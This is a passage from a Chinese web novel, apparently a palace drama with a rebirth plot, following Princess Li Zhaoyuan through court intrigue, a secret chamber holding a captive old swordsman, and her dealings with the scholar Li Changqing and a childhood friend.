“前些日子江东县瘟疫一事,你治理有功,该赏,你想要什么,尽可开口”。
她恭敬下跪。
“多谢陛下恩赏”。
“只是,儿臣想要一个驸马!”
李昭愿一开口,满朝哗然。
皇后没想到,她还未开口,自己的女儿竟这般主动。
而高门大族的子弟皆有些躲避。
驸马一职表面恩赏,实则会断了仕途,一生只能跪倒在公主的裙摆下,哪个高门大户的郎君会甘心隐忍一生,靠一个女人的宠爱过活。
简直是奇耻大辱!
“准!”
顿时,陛下清亮的声线传遍宫内每一个角落。
而李昭愿也起身四面环视,目光如炬。
她看着下面那些平日里风光霁月的郎君现如今像朽了的白菜,恨不得钻到桌下,直想笑。
渐渐地,她的目光落在角落里的人身上。
二人目光对视。
他急忙移开。
正当李昭愿要开口,身后突然传来一道悠然的声音。
“陛下,臣廖迁心慕公主已久,还望公主给个机会”。
眼看着陛下就要开口。
“不,本公主不喜欢你!坐下!”
李昭愿直直指着他,眼中有些愠怒和霸道。
她真不知道,这个家伙是从哪里冒出来的,总是坏她好事。
好像是钦天监里的一个小官。
“是,公主莫生气,臣这就坐
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下”。
他流里流气的模样,惹得殿内掀起一阵笑声。
李昭愿这才牵出角落里颤巍巍的小官,他容貌并不出众,可身旁放着一盆开得极艳的月季,从她的角度看,月季刚好映在他脸侧,格外显眼。
可小官极为腼腆,甚至不敢看她一眼。
“你叫什么名字?”
“臣赵维”。
“那赵维,你觉得如何?”
他急忙下跪。
“公主,臣不配”。
“哦?”
李昭愿并不在意,折了那朵月季,卡在他耳侧,顷刻间小官耳朵充了血,更显娇艳欲滴。
她将他扶起,带到大殿中央。
“阿耶,他长得很好看,让人心生欢喜”。
“殿下!”
小官突然下跪,满脸的不愿。
“怎么,你看不上本公主?”
在场之人都没想到。
这个平日里端庄温柔的公主,今日竟这般强人所难,铁了心要这个小官。
看来,她终究是个困于情爱的小女儿家罢了。
而在暗处,一双眼冰冷彻骨。
“殿下,臣已有心爱之人。是……乔家二小姐!”
此话一出,齐王手里的酒罇骤然跌落,撒了满身。江静有些诧异看他。
众多贵女更是唏嘘、嘲讽的瞟过乔娇。
乔娇满脸嫣红,整个身子恨不得钻在桌案下。
李昭愿有些不悦,正要开口。
“罢了,阿满,莫要胡闹!”
皇后只觉,这是女儿在向自己示威。
只要自己再逼她见那些世家公子,她就随便找个人嫁了。
就在这时,齐王突然从座位走出,扑通跪地。
“陛下,儿臣想求取乔家三小姐,乔娇!”
听着这话,李昭愿险些笑出声来。
好一个指鹿为马。
乔娇一下子从二小姐成了三小姐,真不愧是未来的皇帝,果真机敏聪慧。
可惜啊,英雄难过美人关。
他还是怕阿耶一时兴起,就将这乔娇许配出去,成了他人妻。
此刻,满场的惊异面孔,江静脸色最为难看,接着是那群贵女。他们不明白,这位风光霁月的齐王殿下怎么就看上了乔娇,一个矫揉造作的贱人。
“看来这乔家女真是国色天香,引得众人喜欢”。
蓦地,坐在次座的张贵妃忍不住讥讽,她恨铁不成钢地望着儿子。
“既然齐王喜欢,不如便遂了他的意吧”。
皇后望着皇帝有点不悦的模样,慰藉道。
皇帝终是吐出一口浊气。
“准,赐为侧妃!”
木已成舟,江静望着手中的浊酒,一饮而尽。
这夜,宫宴散尽。
宫殿石梯间人声嘈杂。
江静晃晃悠悠地踏下台阶,险些跌倒,幸而有一人扶住了她。
她抬头,是昭阳公主。
如若不是她,齐王岂会阴差阳错娶了别人。
“你走开,我不用你扶!”
“江姐姐,今日的一切实非我所愿,我并不知齐王殿下竟钟情于——”
“住口!”
还未等她说完,江静就甩袖离去。
李昭愿看着她离去的背影,心情舒畅。
江静同齐王生了嫌隙。
也算是离间了齐王和江家联盟。
江家,屹立数个王朝从不曾倾倒的世家大族,不会容忍被齐王如此戏耍侮辱。
而于江静,长痛不如短痛。
她是位眼里揉不得沙子的傲娇女子,早晚会想明白的。
6. 国子监
暮色染红天际,大雁高飞。
一抹青色于红墙间穿行,步伐轻盈,姿态端庄。
最终,她停在一扇朱红高耸的大门前,四周高墙林立,有朗朗读书声传出。
而上面的牌匾,赫然书着三个飘逸的大字。
——国子监。
“你若是后悔,如今还来得及”。
李昭愿缓缓转身,看向身后的少年。
殷长安一身白袍,面容黝黑,瞳孔四处张望,似乎还未从皇宫的浮华里挣脱,愣了片刻,才点点头。
眸光尚有几分局促。
李昭愿微微勾唇。
“好,那便同我进来”。
闻音一把推开大门,一群各行其事的白袍黑帽书生皆朝此处望来,紧接着,他们放下茶壶、藏起手中蛐蛐、亦或是停下手里打闹动作,齐齐行礼。
“见过公主殿下!”
殷长安小心翼翼跟在李昭愿身后,目光越过公主的华服落在那群书生身上,这群平日里清高傲然的粉面书生此刻皆俯首臣服。
他不自觉地挺了挺脊骨。
却也在暗处拢了长袖,堪堪遮住一双干裂的手。
“免礼!”
众人悠然而起,纷纷打量公主身后之人。
肌肤黑了些,长得还算清秀,看起来不似世家子弟,难道,是公主面首?
众人目光交错。
这时,一旁司业急忙迎上前来,“殿下,近来可好?”
“姜司业免礼,本宫一切都好。今日所来,是为了这个孩子,还望司业多多照拂”。
李昭愿将殷长安推前来,将他带到众人眼前。
“果真长得一表人才。只是,敢问这位郎君,家父是?”
“司业,他是我的好友殷长安,并非官宦之子”。
李昭愿笑言。
司业立即明白。
“既如此,那便请这位殷郎君入书学如何?如若入此院,祭酒也不会太为难”。
李昭愿明白,国子监中,孟祭酒掌事,而他是朝中出了名的食古不化、极其执拗,唯才是也,从不肯轻易收取学子,尤其是上三学,国子、太学、门学,除却世家大族的子弟及才能精绝者,无人能进。算、书、律学虽是八品以下及庶人子所修的学院,也轻易不收外人。
今日,能将他塞进来,已是不易。
“能入书学已是极好。姜司业,听闻,这国子监中新修了书阁,还是请那新罗的能工巧匠打造,极其别致,不知今日可否一观?”
“自然,公主这边请”。
李昭愿示意殷长安留在此处,随即离开。
待那方青色裙摆消失的刹那,那群学生如开闸的洪水,通通涌向殷长安。
“殷兄,你可喜欢读礼记?”
“殷兄…”
“殷兄…”
……
夕阳里,李昭愿跟着姜司业穿过回环的长廊,裙摆扫过落花,沾染一阵桂花香气。
就在二人又一次转身,却见远处瓦檐下桂花树旁,伫立着一名学子。
一袭水墨白袍被玄黑束带利落地收整于腰间,勾勒出一条修长挺拔的身线,他背着身,握一书卷,全神贯注,口中隐约念动,夕阳里,一片桂花缓缓飘落在他肩头,直到这时,他似乎才有所察觉,抬起手骨,将花瓣轻轻扫下。
一举一动,从容不迫。
李昭愿早已定在原地,静静看着这一幕。
心口却已掀起惊涛骇浪,一个念头不停促使她向前一步,再向前一步。
鲤县,夕阳西下。
那颗桂花老树下,一袭白袍的男子转身唤她,“阿满,快来尝尝这桂花酿”。
满眼的温柔。
是他吗?
她伸出白嫩的手腕,轻轻拉了拉那角雪白的袖口。
光影里,学子垂下握书的手。
缓缓转身。
惊异间,一张极为清丽的面容映入眼帘。
似有风雪意而来。
眉如黛,鼻似峰,雪肌朱唇,尤其是那双端丽潋滟的眸仿若寒冬屋舍下的冰石,清澈洁净。
没有一丝污浊的痕迹。
学子微微伏首,将神色收敛,声线带着些清疏的哑然。
“女娘,我们认识?”
而李昭愿,看着面前这张全然陌生的面孔,猛然惊醒。
她松开衣摆,后退几步。
“是我认错了人,还望郎君勿怪”。
“无碍,小事罢了”。
学子温和一笑,仿佛并不在意。
这时,一直在远处观察的姜司业突然上前,打破二人之间的尴尬。
“长卿,这是昭阳公主,快些见礼”。
李长卿这才后退几步,郑重行礼。
“见过殿下”。
“郎君不必多礼”。
李昭愿同他微微一笑,以示歉意。
“姜司业,今日天色不早了,不如,我改日再来”。
“殿下,这边请”。
长廊里,女子步伐匆匆,细眉微蹙,尚有几分恍然。
*
是夜,国子监厢房。
一群书生围在书桌前,一边推牌九,一边调笑。
“你们今日看见那个昭阳公主了没?”
“怪不得宫外都称她观音婢,今日一见,眉目间确有些相似,有股出尘的美”。
魏良辰冷不丁地感叹,唇角带着些笑。
他身旁之人皆取笑于他。
“这个痴汉,莫理他。对了,你们可知她带来一个男人!入了国子监,就在隔壁厢房住着!”
“啊,是何人?”
“难道是公主面首?”
“长得如何?”
“嗯!实在一般,活像碳火里挖出来的!”
“公主该不会看上这般货色吧!”
听到最后,收拾床铺的殷长安本羞红的脸倏地冷了下来。
将手中的枕头狠狠砸在床角。
“一群白羽鸡”。
直到午夜,隔壁厢房闹了鼠害,黑暗里,一位学子搬了过来。
殷长安在睡去时,犹记身旁人对他的赞叹。
——惊才绝艳李长卿。
*
是夜。
长乐宫旁的废宫,青纱飘飞在阴风里,露出内室,空空荡荡,陈旧破败,有鼠蛇蹿行。
据宫中老人说,这曾是前朝贵妃的寝殿。
每到深夜,都有前世的冤魂嚎叫鬼泣,取人性命,前几年还吓得小宫女得了失心疯。
就在又一阵阴风里。
一道纤长的影子打在地面上,鼠蛇立刻逃窜,钻入墙缝破桌。
那影子停在书架前,伸手转动烛台。
“轰隆!”
一道暗门从地面上缓缓打开。
人影掏出腰间的火折子,一口气吹去,火苗蹿起,照亮面前地道里的石阶。
地道阴冷非常,没有一丝人气。
只有零星几具白骨堆积在墙角。
“你来了?”
黑暗里,一道苍老的声音蓦地响起,惊得焰火悦动。
那人影步伐落定,将火折子靠近墙上灯盏。
四周忽然亮了几分。
黑暗中的人也无所遁形,只见一个满头白发的老人蹲坐在墙角,四肢被铁链紧缚,身旁扔着几张动物皮毛,脚踩着干涸的斑斑血迹,他正拿石头磨着墙壁。
人影缓缓出声。
“师父,这几个月我跟随公主去那江东县治瘟了,这才没来为您老人家送吃的”。
“哦?江东县?”
老人转过身,终于有了几分精神。
“是个山清水秀之地。那里的瘟疫都被治好了,百姓生活得还算平静”。
“师父?你知道江东县?”
“那是我的故土,十六岁出来闯荡,四十年没有回去了,也不知家中父老亲人过得如何?”
“师父,你可想出去,回家看看”。
“回家……”
老人干涩沙哑的喉咙不停念着,缓缓抬起头,白发滑落露出一双早已被针线缝住的眼。
他的声线最初还有几分气力,可渐渐地,低沉了下来,在最后,甚至多
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了一丝若有若无的啜泣。
令人不由得心底生出几分悲凉。
“师父。你莫要伤心,只要弟子有机会,定要将你放出去”。
“可若是弟子无用,没能救出师父。
“也定会将师父的尸骨带去,落叶归根”。
李昭愿跪在地上,满眼诚挚与不忍,对天发誓。
可依旧在那铁链触及的范围之外。
绝不靠近一步。
听着远处的动静,刹那间,老人撕下悲伤的假面,取而代之的是满脸的不甘与阴险。
口中发出嗤笑。
“小鬼头,你可是真精明”。
“哪比得上师父,比那台子上的说书人演得都好,可惜啊,还是被囚在这间逼仄狭小的密室,永远不见天日”。
李昭愿拍了拍腿上的灰,从地上起身。
居高临下地看着这个老人。
她犹记得,发现这个密室的那日。
雪下得格外大。
刚从母后宫中回到长乐宫门口,便见这废宫院门如同深渊巨口般大咧咧敞着,疾风一起,“啪嗒、啪嗒、啪嗒……”,一下一下,不停拍打着后墙,瘆得人发慌。
她有些害怕,可看着地上的脚印,还是没忍住跟了上去。
穿过院落,进入一座四周贴满符咒的破败宫殿,里面很黑,老鼠满地乱窜,吱哇乱叫。
只有一个地道隐隐发出些光亮。
循着那道光亮。
她到达了密室深处,却见一个老人背着身跪在地上,如饥似渴般地吸着什么,待他终于餍足,转过身。
半张脸上都是血!
而他吸的赫然是一具尸体,一具像块破布般扔在一边的年岁尚轻小太监的尸体,面如菜色,死不瞑目。
从那时她便死死记住。
这个老头,定是个极其狠毒的人物。
绝不能放松警惕。
“师父,数月前我练了你教的剑法,竟身体里血气上涌,呕了一日血,身子亏空。您这般精心设计,究竟想要什么?”
“好徒儿,你难道不明白吗?”。
老人抬起被铁链束缚的右手,发恨地一甩。
“师父!我也想放您出去,可……我一个小宫女,哪里有这样的本事”。
“小宫女?哈哈哈!”
“看来我的好徒儿,堂堂一国公主竟这般自大,真将我当做傻子”。
“师父是什么时候知晓的?”
刹那间,本柔和的目光泄出寒光,李昭愿冷冷看向老头。
“一开始。我便知道了,你能来此,皆是我的指引”。
“哦?”李昭愿的背影打在墙壁上,摇摇晃晃,如同巨兽。
“我算出来,你,便是能解救我的天命人”。
“天命人?呵呵”。
她只觉得这个老东西在装神弄鬼。
“花开两世,逆转乾坤”。
老人嗓子中吐出轻飘飘几个字,顷刻间,仿佛掀起一阵狂风骤雨。
袖中刀柄一滑,就直直落入李昭愿手中,她直指老人,杀气纵横。
“你究竟是什么人?”
“天上人!能救汝的天上人!这两年,你练剑伤了多少回,我便救你了几回,今日,便再救你一次!”
老人在石床上猴子打滚般跃起,单腿站立。
大喊一声,“小东西!看着!”
他面容神光一闪,左手掐剑诀,右手空握,刹那间,掌中似乎涌出混沌剑气来,化气为剑。
又吼一声,
“此剑法,气息为上,否则元气大损!”
随后挥出手中剑气,蹬墙跃空而起,刀光剑影里,杀气纵横,一呼一吸间,剑法出神入化。
只是那气似乎只是个摆设,不能伤墙壁或是铁链分毫。
他是她所见的第一个可以将气化剑的神人。
只可惜。
徒有好看,不能伤人半分。
不知是不是那铁链的缘故,禁锢了他。
这于她,也算是件好事,否则,她恐怕也早化为他手下的厉鬼了。
8. 情愫生
秋日渐深,国子监长廊中的杏花落了满地,李昭愿行在其间,头上的步摇一起又一落,周而复始。
去往书阁的路并不远。
很快,在夕阳彻底湮灭之前,她终于见到了那片壮丽的琉璃花窗,昏黄的光打在上面,在屋内烙下一块块绛紫色的阴影。
原来,这便是它的庐山真面目。
当真精妙!
这国子监是天下学子向往的神圣之地,而这片刚刚修葺好的书阁凭借这片奇异的琉璃花窗,在三年后,会因为一首诗,成为国子监的象征。
当年,云隐每每提到此处,也是一心向往。
只可惜,家贫无从读书。
这一世,他该是得偿所愿了吧。
“公主,信鸽回来了!”
闻音从远处匆匆而来。
听着这话,李昭愿顾不得欣赏,急忙抓起裙摆,朝着长乐宫奔去。
急忙离去的她未曾看见。
书阁中藏着的那双眼睛。
*
昏暗的宫室间,宫女鱼贯而入,小心燃起一盏盏烛火。
李昭愿躺在雕花窗棂边的小塌上,就着火光,徐徐打开手中的信封。
神情期许。
鲤县来信,每月一封,日日期盼。
她将手中宣纸展开,可神情却愈发复杂。
泪光在她眼中闪动。
手中的纸仿佛有千斤重。
浓重的墨色洇透了纸面,也穿透了心。
夜色浓重,长乐宫中,月光倾洒在窗棂间,一女子乌发散落,靠在软塌上,神情忧郁,只是一味地朝口中猛灌酒水。
“啪嗒!”
“呼噜噜……”
醉意太深,银壶一下从她纤长的指间脱落,在木板上滚落一圈,酒水一点点淌出,映出天边的月。
“于十一月伊始,娶一书香门第女子,二人永结同心之好”。
“永结同好……”。
“你我的缘分就此尽了吗?”
睡梦间。
她好像又看见云隐了。
只是,这次,他不再属于她。
她看见,他满目柔情牵着一个相貌娟丽的女子,行在二人往日走过无数次的山道间。
他为那女子酿酒。
为她拂去額间的薄汗。
为她奔波在风雨里请产婆。
他的心里有了至真至爱的爱人。
只是,同她再无干系。
心口传来一阵阵绞痛。
“啪嗒!”
蓦地,长乐宫内,木施倒地,塌上的女子也睁开眼。
发丝凌乱地粘在她的面庞。
闻音正将面巾扭去水,看见公主睁开眼,劝道。
“公主,你昨夜饮酒太多,今日不如先歇着”。
她一点点擦去李昭愿脸上的薄汗。
李昭愿尚带着梦魇的迷茫,声线嘶哑。
“不鲤县、我要去鲤县”。
“公主?这……”
“为我备马”。
闻音欲言又止。
她也看到那封信了。
宣云隐究竟是谁?
值得公主那般快乐,又这般难过,难道,是公主的心上人。
从往日的信中她也可以窥见。
那是个穷书生。
怪不得公主要在那偏远的鲤县开一书阁,不收一文,还日赠一饭,原是为那人做的。
可是,鲤县离这里那般远,公主又是如何……
*
城门外,李昭愿戴上帷帽。
她最后看了眼面前的宫墙,像是下定了决心,径直上马。
一举一动,十分利落。
“闻音,你要替我照顾好母亲,我定会早日归来,不必担忧我”。
说罢,她便驾马离去。
闻音担忧地望着远去的背影,不停祈祷那个人可以快些赶到。
京都在南,隔一条波涛汹涌的大江,便是大端朝的北部,那鲤县坐落在极北之地。
而海宴桥则是京都去往北部的必经之路。
一路上,李昭愿都驾马疾行,可就在刚从海宴桥走下时,却见诸多侍卫站在那处盘查。
她心中一紧。
拉了拉头上帷帽,佯装出游,牵马而过。
更当她顺利通过,松下一口时,一道呼喊穿破习习秋风而来。
“阿满!”
是小舅舅的声音,他立在桥间,碧玉发冠歪了些,再不复往日的讲究。
可她不想理会,正欲离开。
“阿满,我要出征了!”
蓦地,她停下了脚步,瞳孔骤然放大。
出征。
这两个字似一把刀,将她缠乱的情绪斩断。
脑海骤然清醒。
长平之战,是长平之战!
这场三个月的战役,看似平平无奇,却是整个祝家倾覆的开始。
小舅舅于凯旋途中,被部属披上龙袍,被逼谋反。
可他一直秉承忠君爱国之志。
岂会真的屈服。
最后竟是负荆请罪独自一人归城,可谋反之罪,当诛。
恰在此时,齐王趁乱联合朝臣、太监清君侧,定朝纲。
阿耶在齐王的逼迫下,下了诏书。
祝家满门抄斩。
往日的一幕幕分明历历在目。
她怎么就这般大意!
这般愚钝!
“阿满,如今你离开京都,再无人能护着你”。
祝无忧虽未言责怪之语。
可李昭愿听着他的话,手中的绳变得有些烫手。
她回头眺望北方,秋风拂过脸颊。
目光里满是眷恋。
三日后,他便要大婚了。
随情,则误了家。
随家,则误了情。
这二者,她都难以割舍。
艳阳下,牵马的女娘解下腕中的绳,失魂落魄地在桥下站立了许久。
终于,她还是踏离了北部的疆土。
身旁枫叶簌簌洒落,徒留一地荒凉。
*
是夜。
焚香酒楼。
红纱靡香间,李昭愿一杯接着一杯。
“女娘,不如让奴为你斟一杯美酒”。
一身着宽袍的男娼从光影里妖冶起舞的众多影子里脱离,一摇一摆走上前来。
李昭愿并不理会。
可他仿佛得了首肯般更卖力地为她斟酒,身子俯落间,露出胸前白花花的一片。
她眼神一瞥,露出一抹笑。
“来,将你的脸放到这烛火下”。
很快,眼前就出现一张浓妆艳抹的脸,媚眼如丝,还不住挑眉。
那张脸上赤裸裸浮现两个大字——勾引。
纵使烈酒醉人,面前的许多变得模糊。
欲望也从心底一丝丝释放。
可李昭愿终是没忍住闭眼,一把将眼前的脸推入黑暗里。
还说出一句刻薄之言。
“庸脂俗粉!”
说罢,她一把推开眼前的人,摇晃着打开门,在二楼廊间跌跌撞撞前行。
灯笼散出的红光极晦暗。
“扑通”。
她撞到了一人怀里。
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一股清爽的气味冲入鼻尖,在这酒楼的糜烂香气里,格外特别,格外熟悉。
是谁?
到底是谁?
李昭愿胡乱攀着男子的胳膊,双手搁在他胸前,因着饮酒脸上泛起红晕,如同一只奶猫,柔顺娇媚,抬起头看他。
他很安静。
幽暗的光影打在他脸上,让她有些看不清,只觉得这鼻子怎么这般挺拔。
她憨憨一笑,
“你长得真好看,怎么不来伺候本宫?”
说罢,她还探出指,欲触碰他的鼻尖。
可男子忽然攥住她的手,似乎有些不悦。
手上传来丝丝缕缕的疼,李昭愿欲收回。
可忽然,一只大手将她的腰攥住。
天翻地转间,李昭愿已然被扔到了一张软榻上,胸口震得生疼。
男子欲走。
雪白的衣角却被一只手拉住。
声线委屈,
“你不要走好不好?”
李昭愿眼睛一眨一眨,脸颊泛红,从榻上起身走向背身而立的人。
情愫肆意疯涨,妄念滔天。
“真像……”
忽然,她从背后搂住他的腰,纤细的手臂一点点缩紧,贪婪地呼吸他身上的味道。
声线无比娇柔。
“我好想你……”
白衣下的身躯不由得一僵。
他俯首,长睫下幽深的一双眸看着腰间那双纤细的指骨,不自觉抬起手掌。
仿佛在看什么珍贵不可得之物。
在触碰的那刻,又忽然收回,指骨紧攥。
脖颈上时不时传来温热的呼吸。
勾得人心惶惶。
良久。
就在男子准备转身之时。
身后的人骤然坠地。
红纱间,男子急忙跪下身,搂住女子柔软的身体。
指尖发丝缠绕。
他看着她瓷白的脸颊,长睫下一双眸再不复往日的克制隐忍,被浑浊的疯狂与思念彻底吞噬,吐出缱绻至极的几个字。
“阿姐……阿姐…我也好想你”。
第二日。
李昭愿于空旷的房间醒来,前夜零星的记忆在脑海闪动,她竟在那国子监李长卿面前失了态,一时心中懊恼。
遂去街道闲逛。
“女娘,女娘,行色匆匆,可是有要事?”
皮影戏摊老板拿着手中的皮影人堵在她身前,拼命招揽,李昭愿绕行,他也绕行,死死堵在身前。
“掌柜的,你究竟要做何?”
“女娘,皮影人你可喜欢?”
“不喜,毕竟它是假的”。
“女娘,假亦为真”。
李昭愿停下步伐。
“此话何解?”
“如若真假皆可解人心结,满人妄念。那还有何不同,人莫要压抑为难自己”。
——人莫要压抑为难自身。
……
从皮影摊离开后,她戴上面纱,去往景阳书库。
这是她费了一年光景打造而成的谍报据点。
三楼。
一白发苍苍的老者急忙迎了上来,她吩咐他去查一个人——国子监李长卿。可那老者素来话多,
“大人,不知您要留以何用?”
李昭愿寒光扫过他,老者立马道歉,待老者离开后,她抚过手中的皮影人,唇角失笑。
纳一个面首。
岂能让你们知晓。
就在她出神时,老者又折了回来,
“大人,书库所控官员中损折了一位,是宴会上那位”。
9. 试探
彼时,齐王府得到一条消息。
那日宫宴上被公主看上的小吏死了,被人于睡梦中扎死,死状凄惨。
尤其是那张脸,血肉模糊。
午时,李昭愿于京都郊外河边行了许久,随后直奔国子监而去。
“长安,近日过得如何?”
李昭愿温柔地抚平殷长安的衣襟上的褶子,可神光都落在远处端坐之人身上。
她徐徐向他走去,
“郎君,昨夜是我……叨扰了”。
此话一出,所有学子的耳朵都竖了起来,李长卿的面容依旧温和淡然,可执笔的手微不可察地一颤,随即起身行礼。
“只是,今日还有一件事想求郎君”。
李长卿定下神,“殿下不必客气”。
“不日便是皇祖母的大寿,我想抄一本佛经,可奈何浅薄无知,其中许多百般琢磨不得其解,听闻郎君文采斐然,不知可有时间指点一二?”
李长卿已然被架在此处,公主的请求便是命令,岂有回绝的余地。
他躬身行礼,“是”。
*
是夜,国子监。
厢房内,众多学子打了水洗漱,殷长安亦是,唯有一人执一面铜镜,于床铺边收拾仪容,整理次日的衣裳。
自从住过来殷长安就发现,李长卿极讲究,每日头发打理得一丝不苟,以桂花水拭面,衣裙也只会穿一日,还都是清一色的白衣,到了夜中就寝时,更是一举一动都十分规矩,一夜不换睡姿。
如果不是他的瞳孔尚且转动、口齿有气息吐出,似乎还有几分活气,他都要怀疑,眼前的人是个牵线木偶。
他有时也不禁唏嘘,原来在他人眼中的惊才绝艳、温文尔雅少年郎,也不过是一张假面,实则被死死框在一种无形的规矩中,就如同困在盒中的蝈蝈,压抑至死,为人玩物。
可听闻他出生民间,怎会有这样重的包袱?
“李兄”。
殷长安就寝前同身旁的李长卿问候一声,李长卿却背着身仿佛没有听见,寂静无声。
直到屋内烛火彻底熄灭。
殷长安沉沉睡去,而身旁的人却早已转过身,静静盯着他细瘦的脖子。
月色幽深,寒霜覆叶。
这夜,殷长安做了个噩梦,有一条毒蛇紧紧缠着他的脖颈,收紧,阴冷,呼吸艰难,下一刻,就张开獠牙,要将他吞入腹中。
“啊!”
他骤然惊醒,阳光落在脸上,他才反应过来一切都是一场梦,松了一口气。
无人注意,他右耳后烙着的一道红指印。
长乐宫。
阳光倾洒在床榻、桌案,清冽的读书声响彻在其间,宫外秋风落叶自由飘飞。
李长卿执一本书正讲解,目光却落在旁侧打瞌睡的女子身上。
她一袭嫩黄长衫,更衬得面容清透白皙,只是手中虽拿着笔,却是来撑脸颊的。
“划啦——”
毛笔一滑,眼看着李昭愿的额头就要砸在桌案上。一只骨感的大手适时划过,嫩白的面庞落在那只冰凉的手掌中央,李昭愿似有所感,唇角一抿,一抹朱红的口脂也烙了上去。
看着那抹红,他掌心烫得厉害。
可口中言语仍旧未止,恰在此时,李昭愿睁开了眼,睡眼惺忪,她揉了揉巻睫,看着面前依旧坐得端正之人,粲然一笑。
“郎君,这书我实在读不来,不如,你陪我去别处吧?”
说罢,她便起身朝宫外而去,而李长卿就亦步亦趋跟在身后,不知她打什么算盘。
直到她进了一座阁楼。
——焚香酒楼。
不过多时,便有三两男姬缠在李昭愿身侧,神色热烈,恨不得贴在她身上,而李昭愿也是来者不拒,两侧各搂一个妖艳尤物。
而她身后的李长卿却是无人胆敢靠近,即便有勇猛者,也会被他骇人的眼神逼退。
直到几人进了厢房。
纱帐后有伶人弹琴作舞,一举一动,妖媚至极,而李昭愿躺在男姬腿上,欣赏着歌舞,葡萄一颗接着一颗,时不时摸一把男姬小脸,发出爽朗的笑声。
只是,身侧之人随意饮了几杯浊酒。
似是不喜,收整好宽大的衣袖,从容起身离开。
李昭愿急忙去追。
在廊中伸开双臂,将面前之人拦下,他的神情冷若冰霜,她抬头看他。
稀疏的光斑洒落在脸上,巻睫纤长,无辜灵动,可动作却和容貌全然相反,越发大胆挑衅。
她步步紧逼,他一寸寸退却。
“郎君为何这般生气?”
“我记得,前日郎君也来过此吧,还照顾了我一夜!”
“砰”,李长卿靠在墙上,冰冷侵透脊背。
她伸出纤长的指尖将他的发丝缠绕在上面,靠近他耳侧,热气呼出,
“郎君,你是不是心悦于我?”
李昭愿殷红饱满的唇勾起一抹放肆的笑,上面隐约有几丝掌纹浮动。
只是李长卿依旧让人看不清情绪,他长睫垂落,在眼下沟壑里打下淡淡的阴影。
“或者说,郎君,你可愿做我的面首?”
朦胧的光打在长廊里,二人就那样僵持了许久,直到有微风从窗缝不断涌入,衣衫飘动,那抹明黄与白在光影里逐渐交融。
眼前人终于抬起眸,露出一双墨黑的瞳。
古井无波亦无情。
李昭愿突然发现,他眼角竟有一颗朱砂痣,小而浅,隐在眼尾。
她正要开口,却被打断。
“……殿下,我便先行离开了”。
他从她身侧渐渐退去,一举一动皆是恭敬而疏离,行了一礼,便头也不回地离开。
李昭愿看着他离开的背影,目光冷了下来。
难道,她猜错了?
二人皆离开后,一抹鲜艳的颜色在斑驳墙面格外艳灼。
几日后,太后寿宴,正逢霜降。
李昭愿携抄好的经书去往永寿宫,这几日她再未寻过李长卿,而李长卿也未曾过来。二人似乎陷入一场博弈。
长寿宫内,和乐融融,太后在宫女的搀扶下缓缓坐上主位,总使身体腐朽,眸子却仍旧灵活地四处看探。
直到看见衣摆将将拂过门槛的李昭愿。
太后高兴地摆手,示意李昭愿过去。
可尚在苦恼中的她未曾看见,直到一宫女来她身边,她这才注意到满脸慈爱的皇祖母。
“皇祖母!”
李昭愿撒娇似的跑了过去。
却见皇祖母又在旁侧招了招手,一个相貌、气度极好的郎君走上前来,同她点头一笑。
“真是天造地设的一对”。
人逢喜事精神爽,太后有些病恹恹的脸色也变得红润许多,不住地点头。
不知为何,李昭愿冥冥之中察觉到一道目光。
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她回头向宫门望去。
恰好一白发苍苍的老者带着一个年轻人走了进来,又缓缓坐到众人都不曾在意的角落里。老者是国子监祭酒孟如歌,为人固执严厉,不通人情。而那年轻人,在场之人却不知是什么名头,只是好奇怎得孟祭酒这般照拂。
李昭愿目光停留的片刻。
李长卿嘴唇发白,自始至终都冷漠地在祭酒身边落座,并未施舍一个眼神给她,看起来,对这宴会并无兴致。
“殿下,不如你我到下面落座如何?”
蓦地,身边人突然开口。
李昭愿这才抬头看他。
一双冷峻的眸子同她四目相对,剑眉星目,俊朗无双。只是糙黄的肌肤、眼角的纹路无不显出边关风沙的残酷。
面对这张面庞,她却总觉得熟悉。
可百思不得其解。
她又想到身后那个人,便一不做二不休,欣然回应。
“好。还不知郎君姓名”。
可那郎君立即漏出失望之色,不再言语。
待二人到了桌案前,面对着满桌的佳肴,那郎君不停地往她的盘中夹螃蟹,直至堆成了一座小山。
周边所有人,包括李昭愿都看得目瞪口呆。
这……这是将她当成了猪吗?
可即便如此,他俊毅的模样还是让在场许多贵女惊艳,身形高大,性情豁达爽朗。
那郎君并不在意,只是对着她轻轻一笑。
“祝家的胖丫头不是最喜食螃蟹吗?”
这一句话,彻底将李昭愿点醒。
“庄凌!”
她露出惊喜的神色。
从前每逢暑热夏日,她便会到临州祝家避暑,抓鱼种稻,摘野果子吃,不亦乐乎。只是,总有个旁侧人家的小胖子跑来蹭饭,她喜食螃蟹,而他,也喜食螃蟹,二人总要抢个不停。
后来,她才知道,这个孩子是外祖父世交家的独子,只是满门忠烈,家中只剩几个女人苦苦支撑,外祖父便多加照拂,常唤这孩子吃饭。
这孩子呢?从小也是调皮胆大,天不怕地不怕。
可上一世,二人只是儿时玩伴。
这一世,他怎会来到京都?
“你怎么会来京都?”
“是祝将军唤我来的。可却没想过,能遇见你”。
庄凌看着她,眸中似含星辰。
今晨祝将军命他参加这太后寿宴,他还有些不愿,可如今,倒无比庆幸,没有拂了将军的好意。
小时候的胖丫头长大了。
一条墨绿色缎带将她的一袭青衣收束在腰间,盈盈一握,乌丝如瀑,长睫在她白皙的眼窝里投下淡淡的阴影。
竟是这般清丽端庄!
二人热络闲聊。
从儿时往事到疆场风云再到异域风光,竟是格外投缘,直至宴会结束。
太后看得甚为满意,甚至示意皇后和皇帝。
直到众人从宴会离开。
李昭愿同庄凌一起说笑着与李长卿擦肩而过,没有一丝一毫的停留,仿佛陌生人。
而她在等。
这时,一个太监匆匆闯入。
面目慌张。
“陛下,出了大事!”
原是京都郊外改河道,却在抽完水后惊现一巨石,其上镌刻有八个大字,极其不详。
百姓都说是上天的预言,一时间传得沸沸扬扬,轰动京都!
11. 落尘泥
九重宫阙间,几名侍女拼了命地狂奔。
看着正要踏入陛下宫殿的公主。
她们一喜,
“殿下!”
“出了大事!”
“皇后娘娘唤您快些过去一趟”。
……
坤宁宫。
隐隐传出些呜咽声。
李昭愿急匆匆踏入,只见母亲伏在床榻上哭得伤心,脊背颤抖。
她心疼地轻拍母亲,环抱住她。
“母亲,出了什么事?”
祝皇后握住女儿的手,抬起身子,满眼泪珠看着她。
唇齿轻启,想说什么可还是咽了回去。
“阿满,替母后回去看看你二舅舅可好?”
“二舅舅?他怎么了?”
“他已病入膏肓,将不久于人世”。
在她的记忆里,对这位二舅舅的印象很模糊。
